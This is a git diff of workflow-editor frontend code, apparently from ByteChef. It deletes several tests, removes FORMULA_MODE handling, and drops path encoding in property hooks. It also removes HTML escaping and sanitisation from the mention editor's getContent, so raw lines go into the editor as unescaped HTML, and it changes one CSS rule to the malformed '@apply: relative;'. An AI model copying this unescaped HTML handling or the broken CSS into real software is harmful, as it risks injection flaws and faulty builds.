-                    deleteClusterElementParameterMutation: dummyMutation as unknown as UseMutationResult<
-                        DeleteClusterElementParameter200Response,
-                        Error,
-                        DeleteClusterElementParameterOperationRequest,
-                        unknown
-                    >,
-                    deleteWorkflowNodeParameterMutation: dummyMutation as unknown as UseMutationResult<
-                        DeleteClusterElementParameter200Response,
-                        Error,
-                        DeleteWorkflowNodeParameterRequest,
-                        unknown
-                    >,
-                    invalidateWorkflowQueries: () => {},
-                    updateClusterElementParameterMutation,
-                    updateWorkflowMutation: {} as unknown as UpdateWorkflowMutationType,
-                    updateWorkflowNodeParameterMutation,
-                    useCreateConnectionMutation: () =>
-                        ({}) as unknown as UseMutationResult<number, Error, ConnectionI, unknown>,
-                    useGetComponentDefinitionsQuery: () =>
-                        ({}) as UseQueryResult<Array<ComponentDefinitionBasic>, Error>,
-                    useGetConnectionTagsQuery: () => ({}) as unknown as UseQueryResult<Tag[], Error>,
-                    useGetConnectionsQuery: () => ({}) as unknown as UseQueryResult<ConnectionI[], Error>,
-                    webhookTriggerTestApi: {
-                        startWebhookTriggerTest: async () => ({}),
-                        stopWebhookTriggerTest: async () => {},
-                    },
-                }}
-            >
-                <PropertyMentionsInput
-                    controlType="RICH_TEXT"
-                    label="RICH_TEXT HTML Label"
-                    leadingIcon="📄"
-                    path="parameters.body"
-                    placeholder=""
-                    type="STRING"
-                    value={entityEncodedHtml}
-                />
-            </WorkflowEditorProvider>
-        );
-
-        await microtaskTick(2);
-
-        const textbox = screen.getByRole('textbox', {name: 'RICH_TEXT HTML Label'});
-        const strong = textbox.querySelector('strong');
-
-        expect(strong).toBeInTheDocument();
-        expect(strong).toHaveTextContent('foo');
-    });
-
-    test('TEXT_AREA preserves angle-bracket content ', async () => {
-        useWorkflowDataStore.setState({
-            workflow: {
-                id: 'wf-text-area-angle',
-                nodeNames: ['trigger_1'],
-            },
-        } as unknown as Partial<ReturnType<typeof useWorkflowDataStore.getState>>);
-
-        const dummyMutation = {} as unknown as UseMutationResult<unknown, Error, unknown, unknown>;
-        const updateWorkflowNodeParameterMutation = dummyMutation as unknown as UseMutationResult<
-            DeleteClusterElementParameter200Response,
-            Error,
-            UpdateWorkflowNodeParameterOperationRequest,
-            unknown
-        >;
-        const updateClusterElementParameterMutation = dummyMutation as unknown as UseMutationResult<
-            DeleteClusterElementParameter200Response,
-            Error,
-            UpdateClusterElementParameterOperationRequest,
-            unknown
-        >;
-
-        const providerValue = {
-            ConnectionKeys: {
-                connection: () => [],
-                connectionTags: [],
-                connections: [],
-                filteredConnections: () => [],
-            },
-            deleteClusterElementParameterMutation: dummyMutation as unknown as UseMutationResult<
-                DeleteClusterElementParameter200Response,
-                Error,
-                DeleteClusterElementParameterOperationRequest,
-                unknown
-            >,
-            deleteWorkflowNodeParameterMutation: dummyMutation as unknown as UseMutationResult<
-                DeleteClusterElementParameter200Response,
-                Error,
-                DeleteWorkflowNodeParameterRequest,
-                unknown
-            >,
-            invalidateWorkflowQueries: () => {},
-            updateClusterElementParameterMutation,
-            updateWorkflowMutation: {} as unknown as UpdateWorkflowMutationType,
-            updateWorkflowNodeParameterMutation,
-            useCreateConnectionMutation: () =>
-                ({}) as unknown as UseMutationResult<number, Error, ConnectionI, unknown>,
-            useGetComponentDefinitionsQuery: () => ({}) as UseQueryResult<Array<ComponentDefinitionBasic>, Error>,
-            useGetConnectionTagsQuery: () => ({}) as unknown as UseQueryResult<Tag[], Error>,
-            useGetConnectionsQuery: () => ({}) as unknown as UseQueryResult<ConnectionI[], Error>,
-            webhookTriggerTestApi: {
-                startWebhookTriggerTest: async () => ({}),
-                stopWebhookTriggerTest: async () => {},
-            },
-        };
-
-        const angleBracketSegments = ['<!everyone>', '<https://www.bytechef.io/|page>', ':smile:'];
-
-        const valuesToTest = [
-            'Hey <!everyone>,\nlook at this <https://www.bytechef.io/|page>\n:smile:',
-            'Hey <!everyone>, look at this <https://www.bytechef.io/|page> :smile:',
-        ];
-
-        for (const value of valuesToTest) {
-            const {unmount} = render(
-                <WorkflowEditorProvider value={providerValue}>
-                    <PropertyMentionsInput
-                        controlType="TEXT_AREA"
-                        label="TEXT_AREA Angle Label"
-                        leadingIcon="📄"
-                        path="parameters.body"
-                        placeholder=""
-                        type="STRING"
-                        value={value}
-                    />
-                </WorkflowEditorProvider>
-            );
-
-            await microtaskTick(2);
-
-            const textbox = screen.getByRole('textbox', {name: 'TEXT_AREA Angle Label'});
-            const textContent = textbox.textContent ?? '';
-
-            for (const segment of angleBracketSegments) {
-                expect(textContent).toContain(segment);
-            }
-
-            unmount();
-        }
-    });
 });
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.tsx
index 477f2368a5e..4fbbf990f7c 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.tsx
@@ -205,9 +205,7 @@ const PropertyMentionsInput = forwardRef<Editor, PropertyMentionsInputProps>(
                         )}
 
                         <div className="flex items-center gap-1">
-                            {(controlType === 'RICH_TEXT' ||
-                                controlType === 'TEXT_AREA' ||
-                                controlType === 'FORMULA_MODE') && (
+                            {(controlType === 'RICH_TEXT' || controlType === 'TEXT_AREA') && (
                                 <Suspense fallback={<Skeleton className="size-6" />}>
                                     <PropertyMentionsInputEditorSheet
                                         componentDefinitions={componentDefinitions}
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditor.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditor.tsx
index 994642118fc..17a8580f295 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditor.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditor.tsx
@@ -8,7 +8,6 @@ import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/s
 import {
     encodeParameters,
     encodePath,
-    escapeHtmlForParagraph,
     transformValueForObjectAccess,
 } from '@/pages/platform/workflow-editor/utils/encodingUtils';
 import {getTask} from '@/pages/platform/workflow-editor/utils/getTask';
@@ -211,10 +210,7 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
                             mergeAttributes(options.HTMLAttributes, {
                                 class: twMerge(
                                     'relative inline-flex items-center gap-0.5 not-prose bg-muted hover:bg-foreground/15 px-2 rounded-full',
-                                    controlType !== 'RICH_TEXT' &&
-                                        controlType !== 'TEXT_AREA' &&
-                                        controlType !== 'FORMULA_MODE' &&
-                                        'text-sm'
+                                    controlType !== 'RICH_TEXT' && controlType !== 'TEXT_AREA' && 'text-sm'
                                 ),
                             }),
                             [
@@ -243,7 +239,7 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
                 }),
             ];
 
-            if (controlType !== 'TEXT_AREA' && controlType !== 'RICH_TEXT' && controlType !== 'FORMULA_MODE') {
+            if (controlType !== 'TEXT_AREA' && controlType !== 'RICH_TEXT') {
                 extensions.push(
                     Extension.create({
                         addKeyboardShortcuts(this) {
@@ -319,13 +315,12 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
 
             if (!savingRef.current) {
                 const runSaveProperty = () => {
-                    const valueToSave = pendingValueRef.current;
+                    const toSave = pendingValueRef.current;
 
                     pendingValueRef.current = undefined;
 
-                    if (valueToSave === undefined) {
+                    if (toSave === undefined) {
                         savingRef.current = null;
-
                         return;
                     }
 
@@ -336,12 +331,12 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
                             type,
                             updateClusterElementParameterMutation,
                             updateWorkflowNodeParameterMutation,
-                            value: valueToSave,
+                            value: toSave,
                             workflowId,
                         })
                     )
                         .then(() => {
-                            lastSavedRef.current = valueToSave;
+                            lastSavedRef.current = toSave;
                         })
                         .catch(() => {})
                         .finally(() => {
@@ -403,58 +398,40 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
             [editorValue, onChange, saveMentionInputValue]
         );
 
-        const getContent = useCallback(
-            (value?: string) => {
-                if (typeof value !== 'string') {
-                    return;
-                }
-
-                if (!value) {
-                    return '';
-                }
-
-                let content = value;
-                let contentIsDecodedHtml = false;
+        const getContent = useCallback((value?: string) => {
+            if (typeof value !== 'string') {
+                return;
+            }
 
-                if (
-                    controlType === 'RICH_TEXT' &&
-                    (content.includes('&lt;') || content.includes('&gt;') || content.includes('&amp;'))
-                ) {
-                    content = decode(content);
+            if (!value) {
+                return '';
+            }
 
-                    content = sanitizeHtml(content);
+            let content = value;
 
-                    contentIsDecodedHtml = true;
-                }
+            if (value.includes('\n')) {
+                const valueLines = value.split('\n');
 
-                if (!contentIsDecodedHtml && content.includes('\n')) {
-                    const valueLines = content.split('\n');
+                const paragraphedLines = valueLines.map((valueLine) => `<p>${valueLine}</p>`);
 
-                    const paragraphedLines =
-                        controlType === 'TEXT_AREA' || controlType === 'TEXT' || controlType === 'FORMULA_MODE'
-                            ? valueLines.map((valueLine) => `<p>${escapeHtmlForParagraph(valueLine)}</p>`)
-                            : valueLines.map((valueLine) => `<p>${valueLine}</p>`);
-
-                    content = paragraphedLines.join('');
-                }
+                content = paragraphedLines.join('');
+            }
 
-                const dataPillRegex = /\${([^}]+)}/g;
+            const dataPillRegex = /\${([^}]+)}/g;
 
-                const matches = value.match(dataPillRegex)?.map((match) => match.slice(2, -1));
+            const matches = value.match(dataPillRegex)?.map((match) => match.slice(2, -1));
 
-                if (matches) {
-                    for (const match of matches) {
-                        content = content.replace(
-                            `\${${match}}`,
-                            `<span data-type="mention" class="property-mention" data-id="${match}"></span>`
-                        );
-                    }
+            if (matches) {
+                for (const match of matches) {
+                    content = content.replace(
+                        `\${${match}}`,
+                        `<span data-type="mention" class="property-mention" data-id="${match}"></span>`
+                    );
                 }
+            }
 
-                return content;
-            },
-            [controlType]
-        );
+            return content;
+        }, []);
 
         const moveCursorToEnd = useCallback((view: EditorView, pos: number) => {
             const valueSize = view.state.doc.content.size;
@@ -668,7 +645,6 @@ const PropertyMentionsInputEditor = forwardRef<Editor, PropertyMentionsInputEdit
                             variant="ghost"
                         />
                     ))}
-
                 {controlType === 'RICH_TEXT' && editor && <PropertyMentionsInputBubbleMenu editor={editor} />}
             </>
         );
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.css b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.css
index 510794725a6..a9be2f363e5 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.css
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.css
@@ -7,7 +7,7 @@
     @apply flex-col;
     @apply overflow-auto;
     @apply p-1;
-    @apply relative;
+    @apply: relative;
     @apply text-sm;
 
     button {
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.tsx
index c18f0395fc4..7afb66caf32 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInputEditorSuggestionList.tsx
@@ -62,7 +62,7 @@ const PropertyMentionsInputEditorSuggestionList = forwardRef<
         <ul className="property-mentions-suggestion-menu max-h-96 gap-y-1 overflow-y-auto">
             {items.length ? (
                 items.map((item: DataPillType, index: number) => (
-                    <li key={item.value}>
+                    <li key={index}>
                         <button
                             className={twMerge(index === selectedIndex && 'is-selected')}
                             onClick={() => selectItem(index)}
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/propertyMentionsInputEditorSuggestionOptions.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/propertyMentionsInputEditorSuggestionOptions.ts
index 710ca2c168c..027c100644b 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/propertyMentionsInputEditorSuggestionOptions.ts
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/propertyMentionsInputEditorSuggestionOptions.ts
@@ -31,11 +31,7 @@ const DOM_RECT_FALLBACK: DOMRect = {
 
 export function getSuggestionOptions(): MentionOptions['suggestion'] {
     return {
-        allow: ({editor, isActive, range}) => {
-            if (!editor.isFocused && !isActive) {
-                return false;
-            }
-
+        allow: ({editor, range}) => {
             const editorContent = editor.state.doc.textContent;
 
             if (range.from === 2) {
@@ -89,10 +85,6 @@ export function getSuggestionOptions(): MentionOptions['suggestion'] {
                 },
 
                 onStart: (props) => {
-                    if (!props.editor.isFocused) {
-                        return;
-                    }
-
                     component = new ReactRenderer(PropertyMentionsInputEditorSuggestionList, {
                         editor: props.editor,
                         props,
@@ -103,7 +95,7 @@ export function getSuggestionOptions(): MentionOptions['suggestion'] {
                     }
 
                     popup = tippy('body', {
-                        appendTo: () => document.body,
+                        appendTo: () => props.editor.view.dom.closest('.property-mentions-editor') || document.body,
                         content: component.element,
                         getReferenceClientRect: () => props.clientRect?.() ?? DOM_RECT_FALLBACK,
                         interactive: true,
diff --git a/client/src/pages/platform/workflow-editor/components/properties/hooks/tests/displayConditionIndexReplacement.test.ts b/client/src/pages/platform/workflow-editor/components/properties/hooks/tests/displayConditionIndexReplacement.test.ts
deleted file mode 100644
index 04c07ea749c..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/hooks/tests/displayConditionIndexReplacement.test.ts
+++ /dev/null
@@ -1,144 +0,0 @@
-import {describe, expect, it} from 'vitest';
-
-/**
- * Helper function to replicate the display condition index replacement logic from useProperty.ts
- * This tests the logic that replaces [index] placeholders with actual indices from the path.
- */
-const replaceDisplayConditionIndexes = (displayCondition: string, path: string): string => {
-    const displayConditionIndexes: number[] = [];
-    const bracketedNumberRegex = /\[(\d+)\]/g;
-    let match;
-
-    while ((match = bracketedNumberRegex.exec(path)) !== null) {
-        displayConditionIndexes.push(parseInt(match[1], 10));
-    }
-
-    // Replace [index] placeholders with actual indices from path
-    // For nested arrays, replace sequentially (first [index] with first path index, etc.)
-    displayConditionIndexes.forEach((index) => {
-        displayCondition = displayCondition.replace('[index]', `[${index}]`);
-    });
-
-    // Handle compound conditions with multiple same-level array references
-    // e.g., "inputs[index].fieldType == 7 and inputs[index].multipleChoice == true"
-    // After sequential replacement, any remaining [index] should use the last index
-    if (displayConditionIndexes.length > 0 && displayCondition.includes('[index]')) {
-        const lastIndex = displayConditionIndexes[displayConditionIndexes.length - 1];
-
-        while (displayCondition.includes('[index]')) {
-            displayCondition = displayCondition.replace('[index]', `[${lastIndex}]`);
-        }
-    }
-
-    return displayCondition;
-};
-
-describe('Display Condition Index Replacement', () => {
-    describe('single [index] placeholder', () => {
-        it('should replace single [index] with array index from path', () => {
-            const displayCondition = 'inputs[index].fieldType != 12';
-            const path = 'inputs[0].fieldType';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('inputs[0].fieldType != 12');
-        });
-
-        it('should replace with different index values', () => {
-            const displayCondition = 'inputs[index].fieldType == 7';
-            const path = 'inputs[2].multipleChoice';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('inputs[2].fieldType == 7');
-        });
-    });
-
-    describe('compound conditions with same-level array references', () => {
-        it('should replace all [index] with same value for compound condition with "and"', () => {
-            const displayCondition = 'inputs[index].fieldType == 7 and inputs[index].multipleChoice == true';
-            const path = 'inputs[0].multipleChoice';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('inputs[0].fieldType == 7 and inputs[0].multipleChoice == true');
-        });
-
-        it('should replace all [index] with same value for compound condition with "or"', () => {
-            const displayCondition = 'inputs[index].fieldType == 7 or inputs[index].fieldType == 11';
-            const path = 'inputs[1].fieldName';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('inputs[1].fieldType == 7 or inputs[1].fieldType == 11');
-        });
-
-        it('should handle triple compound conditions', () => {
-            const displayCondition = 'inputs[index].a == 1 and inputs[index].b == 2 and inputs[index].c == 3';
-            const path = 'inputs[0].c';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('inputs[0].a == 1 and inputs[0].b == 2 and inputs[0].c == 3');
-        });
-
-        it('should handle contains function with compound condition', () => {
-            const displayCondition = 'contains({11,7}, inputs[index].fieldType) and inputs[index].required == true';
-            const path = 'inputs[3].fieldOptions';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('contains({11,7}, inputs[3].fieldType) and inputs[3].required == true');
-        });
-    });
-
-    describe('nested arrays', () => {
-        it('should handle nested arrays with sequential replacement', () => {
-            const displayCondition = 'conditions[index][index].operation != "EMPTY"';
-            const path = 'conditions[0][1].value';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('conditions[0][1].operation != "EMPTY"');
-        });
-
-        it('should handle deeply nested arrays', () => {
-            const displayCondition = 'data[index][index][index].enabled == true';
-            const path = 'data[1][2][3].enabled';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('data[1][2][3].enabled == true');
-        });
-    });
-
-    describe('edge cases', () => {
-        it('should handle condition without [index] placeholder', () => {
-            const displayCondition = 'someProperty == true';
-            const path = 'inputs[0].fieldType';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('someProperty == true');
-        });
-
-        it('should handle path without array indices', () => {
-            const displayCondition = 'inputs[index].fieldType == 7';
-            const path = 'someProperty';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            // No indices found in path, so [index] remains
-            expect(result).toBe('inputs[index].fieldType == 7');
-        });
-
-        it('should handle empty display condition', () => {
-            const displayCondition = '';
-            const path = 'inputs[0].fieldType';
-
-            const result = replaceDisplayConditionIndexes(displayCondition, path);
-
-            expect(result).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/hooks/useObjectProperty.ts b/client/src/pages/platform/workflow-editor/components/properties/hooks/useObjectProperty.ts
index 2c8080e3bef..68bb494de74 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/hooks/useObjectProperty.ts
+++ b/client/src/pages/platform/workflow-editor/components/properties/hooks/useObjectProperty.ts
@@ -8,7 +8,7 @@ import resolvePath from 'object-resolve-path';
 import {useCallback, useEffect, useMemo, useState} from 'react';
 
 import useWorkflowDataStore from '../../../stores/useWorkflowDataStore';
-import {decodePath, encodeParameters, encodePath} from '../../../utils/encodingUtils';
+import {encodeParameters, encodePath} from '../../../utils/encodingUtils';
 import getParameterItemType from '../../../utils/getParameterItemType';
 import saveProperty from '../../../utils/saveProperty';
 
@@ -26,7 +26,7 @@ interface BuildPropertyFromParameterKeyProps {
     parameterKey: string;
     parameterObject: {[key: string]: unknown};
     path: string;
-    properties?: Array<PropertyAllType>;
+    properties: Array<PropertyAllType>;
 }
 
 const getPropertyKey = (name: string | undefined, displayCondition?: string): string => {
@@ -49,6 +49,7 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
     const [newPropertyType, setNewPropertyType] = useState<keyof typeof VALUE_PROPERTY_CONTROL_TYPES>(
         (property.additionalProperties?.[0]?.type as keyof typeof VALUE_PROPERTY_CONTROL_TYPES) || 'STRING'
     );
+    const [parameterObject, setParameterObject] = useState<{[key: string]: unknown}>({});
 
     const currentComponent = useWorkflowNodeDetailsPanelStore((state) => state.currentComponent);
     const workflow = useWorkflowDataStore((state) => state.workflow);
@@ -94,15 +95,13 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
     }
 
     const handleAddItemClick = useCallback(() => {
-        const encodedPropertyName = encodePath(newPropertyName);
-
         const newItem: SubPropertyType = {
             additionalProperties,
             controlType: VALUE_PROPERTY_CONTROL_TYPES[newPropertyType] as ControlType,
             custom: true,
             expressionEnabled: true,
             label: newPropertyName,
-            name: encodedPropertyName,
+            name: newPropertyName,
             type: (newPropertyType ||
                 additionalProperties?.[0].type ||
                 'STRING') as keyof typeof VALUE_PROPERTY_CONTROL_TYPES,
@@ -115,7 +114,7 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
         if (updateWorkflowNodeParameterMutation || updateClusterElementParameterMutation) {
             saveProperty({
                 includeInMetadata: true,
-                path: `${path}.${encodedPropertyName}`,
+                path: `${path}.${newPropertyName}`,
                 type: newPropertyType,
                 updateClusterElementParameterMutation,
                 updateWorkflowNodeParameterMutation,
@@ -221,13 +220,13 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
             path,
             properties,
         }: BuildPropertyFromParameterKeyProps): PropertyAllType => {
-            let matchingProperty = properties?.find(
+            let matchingProperty = properties.find(
                 (property) => property.name === parameterKey && property.displayCondition === displayCondition
             ) as PropertyAllType | undefined;
 
             if (!matchingProperty) {
                 matchingProperty = !displayCondition
-                    ? (properties?.find((property) => property.name === parameterKey) as PropertyAllType | undefined)
+                    ? (properties.find((property) => property.name === parameterKey) as PropertyAllType | undefined)
                     : undefined;
             }
 
@@ -272,7 +271,7 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
                     displayCondition,
                     expressionEnabled: true,
                     label: parameterKey,
-                    name: encodePath(parameterKey),
+                    name: parameterKey,
                     type: parameterItemType as PropertyType,
                 } as PropertyAllType;
             }
@@ -282,25 +281,17 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
 
     // render individual object items with data gathered from parameters
     useEffect(() => {
-        if (!name || !path || !currentComponent?.parameters) {
+        if (
+            !name ||
+            !path ||
+            !currentComponent?.parameters ||
+            !properties ||
+            !parameterObject ||
+            !isObject(parameterObject)
+        ) {
             return;
         }
 
-        const encodedParameters = encodeParameters(currentComponent.parameters);
-        const encodedPath = encodePath(path);
-
-        const resolvedParameterObject = resolvePath(encodedParameters, encodedPath);
-
-        const parameterObject: {[key: string]: unknown} = {};
-
-        if (resolvedParameterObject && isObject(resolvedParameterObject)) {
-            for (const encodedKey of Object.keys(resolvedParameterObject)) {
-                parameterObject[decodePath(encodedKey)] = (resolvedParameterObject as {[key: string]: unknown})[
-                    encodedKey
-                ];
-            }
-        }
-
         const dynamicPropertyTypes = currentComponent?.metadata?.ui?.dynamicPropertyTypes;
 
         const objectParameterKeys = buildOrderedPropertyKeys({
@@ -325,11 +316,7 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
 
                 const parameterKeyValue = parameterObject[propertyDefinition.name];
 
-                if (
-                    parameterKeyValue !== undefined ||
-                    objectParameterKeys.includes(propertyDefinition.name) ||
-                    propertyDefinition.displayCondition
-                ) {
+                if (parameterKeyValue !== undefined || objectParameterKeys.includes(propertyDefinition.name)) {
                     const builtProperty = buildPropertyFromParameterKey({
                         baseProperty: property,
                         displayCondition: propertyDefinition.displayCondition,
@@ -386,7 +373,7 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
         }
         // eslint-disable-next-line react-hooks/exhaustive-deps
     }, [
-        currentComponent?.parameters,
+        parameterObject,
         properties,
         path,
         currentComponent?.metadata?.ui?.dynamicPropertyTypes,
@@ -427,12 +414,10 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
                     return accumulator;
                 }
 
-                const decodedName = decodePath(name);
-
                 if (type === 'OBJECT' && properties) {
-                    accumulator[decodedName] = buildObject(properties);
+                    accumulator[name] = buildObject(properties);
                 } else {
-                    accumulator[decodedName] = defaultValue;
+                    accumulator[name] = defaultValue;
                 }
                 return accumulator;
             }, {});
@@ -461,6 +446,17 @@ export const useObjectProperty = ({onDeleteClick, path, property}: UseObjectProp
         }
     }, [properties]);
 
+    // update parameterObject when workflowDefinition changes
+    useEffect(() => {
+        if (workflow.definition && path) {
+            const resolvedParameterObject = resolvePath(currentComponent?.parameters ?? {}, path) as {
+                [key: string]: unknown;
+            };
+
+            setParameterObject(resolvedParameterObject);
+        }
+    }, [workflow.definition, path, currentComponent?.parameters]);
+
     return {
         availablePropertyTypes,
         calculatedPath: path,
diff --git a/client/src/pages/platform/workflow-editor/components/properties/hooks/useProperty.ts b/client/src/pages/platform/workflow-editor/components/properties/hooks/useProperty.ts
index d90efafdb99..aa3327d4c9f 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/hooks/useProperty.ts
+++ b/client/src/pages/platform/workflow-editor/components/properties/hooks/useProperty.ts
@@ -53,15 +53,7 @@ const INPUT_PROPERTY_CONTROL_TYPES = [
     'URL',
 ];
 
-const MENTION_INPUT_PROPERTY_CONTROL_TYPES = [
-    'EMAIL',
-    'FORMULA_MODE',
-    'PHONE',
-    'RICH_TEXT',
-    'TEXT',
-    'TEXT_AREA',
-    'URL',
-];
+const MENTION_INPUT_PROPERTY_CONTROL_TYPES = ['EMAIL', 'PHONE', 'RICH_TEXT', 'TEXT', 'TEXT_AREA', 'URL'];
 
 type UsePropertyReturnType = {
     controlType?: ControlType;
@@ -303,16 +295,8 @@ export const useProperty = ({
         }
 
         displayConditionIndexes.forEach((index) => {
-            displayCondition = displayCondition!.replace('[index]', `[${index}]`);
+            displayCondition = displayCondition!.replace(`[index]`, `[${index}]`);
         });
-
-        if (displayConditionIndexes.length > 0 && displayCondition.includes('[index]')) {
-            const lastIndex = displayConditionIndexes[displayConditionIndexes.length - 1];
-
-            while (displayCondition.includes('[index]')) {
-                displayCondition = displayCondition.replace('[index]', `[${lastIndex}]`);
-            }
-        }
     }
 
     const saveInputValue = useDebouncedCallback(() => {
@@ -501,7 +485,7 @@ export const useProperty = ({
             return;
         }
 
-        const parentParameterValue = resolvePath(encodeParameters(currentComponent.parameters ?? {}), encodePath(path));
+        const parentParameterValue = resolvePath(currentComponent.parameters ?? {}, path);
 
         if (mentionInput && !mentionInputValue) {
             return;
@@ -681,12 +665,10 @@ export const useProperty = ({
 
             if (fromAi) {
                 if (editorRef.current) {
-                    const fromAi = `=fromAi('${property.name}', 'description')`;
-
-                    editorRef.current.commands.setContent(fromAi);
+                    editorRef.current.commands.setContent(`fromAi(${property.name}, 'description')`);
                     editorRef.current.setEditable(false);
 
-                    value = fromAi;
+                    value = `fromAi(${property.name}, 'description')`;
                 }
             } else {
                 if (editorRef.current) {
@@ -823,16 +805,16 @@ export const useProperty = ({
 
         const {parameters} = currentComponent;
 
-        const encodedParameters = encodeParameters(parameters);
-        const encodedPath = path ? encodePath(path) : undefined;
-
         if (Object.keys(parameters).length && (!propertyParameterValue || propertyParameterValue === defaultValue)) {
-            if (!path || !encodedPath) {
+            if (!path) {
                 setPropertyParameterValue(parameters[name]);
 
                 return;
             }
 
+            const encodedParameters = encodeParameters(parameters);
+            const encodedPath = encodePath(path);
+
             const valueFromDefinition = resolvePath(encodedParameters, encodedPath);
 
             if (valueFromDefinition !== undefined && valueFromDefinition !== null) {
@@ -848,17 +830,17 @@ export const useProperty = ({
             }
         }
 
-        const shouldSaveHiddenProperty =
+        // save hidden property to definition on render
+        if (
             hidden &&
-            encodedPath &&
+            path &&
             (objectName === undefined || dynamicPropertySource === objectName) &&
             (updateWorkflowNodeParameterMutation || updateClusterElementParameterMutation) &&
-            resolvePath(encodedParameters, encodedPath) !== defaultValue;
-
-        if (shouldSaveHiddenProperty) {
+            resolvePath(currentComponent.parameters ?? {}, path) !== defaultValue
+        ) {
             const saveDefaultValue = () => {
                 saveProperty({
-                    path: path!,
+                    path,
                     type,
                     updateClusterElementParameterMutation,
                     updateWorkflowNodeParameterMutation,
diff --git a/client/src/pages/platform/workflow-editor/components/stores/useClusterElementsCanvasDialogStore.ts b/client/src/pages/platform/workflow-editor/components/stores/useClusterElementsCanvasDialogStore.ts
deleted file mode 100644
index 301d3cf3ef7..00000000000
--- a/client/src/pages/platform/workflow-editor/components/stores/useClusterElementsCanvasDialogStore.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface ClusterElementsCanvasDialogStateI {
-    copilotPanelOpen: boolean;
-}
-
-interface ClusterElementsCanvasDialogActionsI {
-    reset: () => void;
-    setCopilotPanelOpen: (open: boolean) => void;
-}
-
-type ClusterElementsCanvasDialogStoreType = ClusterElementsCanvasDialogActionsI & ClusterElementsCanvasDialogStateI;
-
-const initialState: ClusterElementsCanvasDialogStateI = {
-    copilotPanelOpen: false,
-};
-
-export const useClusterElementsCanvasDialogStore = create<ClusterElementsCanvasDialogStoreType>()(
-    devtools(
-        (set) => ({
-            ...initialState,
-            reset: () => set(initialState),
-            setCopilotPanelOpen: (open) => set({copilotPanelOpen: open}),
-        }),
-        {name: 'bytechef.cluster-elements-canvas-dialog-store'}
-    )
-);
diff --git a/client/src/pages/platform/workflow-editor/edges/WorkflowEdge.tsx b/client/src/pages/platform/workflow-editor/edges/WorkflowEdge.tsx
index 34c6675c837..bf800487fa6 100644
--- a/client/src/pages/platform/workflow-editor/edges/WorkflowEdge.tsx
+++ b/client/src/pages/platform/workflow-editor/edges/WorkflowEdge.tsx
@@ -151,7 +151,7 @@ export default function WorkflowEdge({
                                 'flex cursor-pointer items-center justify-center rounded transition-all',
                                 isDropzoneActive
                                     ? 'size-16 border-2 border-blue-100 bg-blue-100'
